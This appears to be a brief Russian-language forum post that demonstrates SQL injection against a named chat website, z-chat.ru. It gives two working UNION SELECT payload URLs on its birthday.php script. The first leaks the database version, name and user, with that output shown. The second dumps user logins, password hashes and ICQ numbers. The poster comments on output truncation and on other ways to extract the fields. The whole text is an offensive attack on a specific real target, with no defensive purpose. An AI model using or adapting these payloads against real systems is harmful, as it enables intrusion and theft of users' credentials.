z-chat.ru



http://www.z-chat.ru/inc/birthday.php?day=16&month=-5+union+select+concat(version(),0x2F,database(),0x 2F,user()),2/*

4.0.25/zchatspb/zchatspb@local


http://www.z-chat.ru/inc/birthday.php?day=16&month=-5+union+select+concat(login,0x2F,passwd,0x2F,icq), 2+from+user/*

логин\хеш\уин но там какой-то прикол с выводом .... наверно ограничение на длину строки .. хотя хз

да, можно выводить отдельно логин хеш и уин но так не красиво )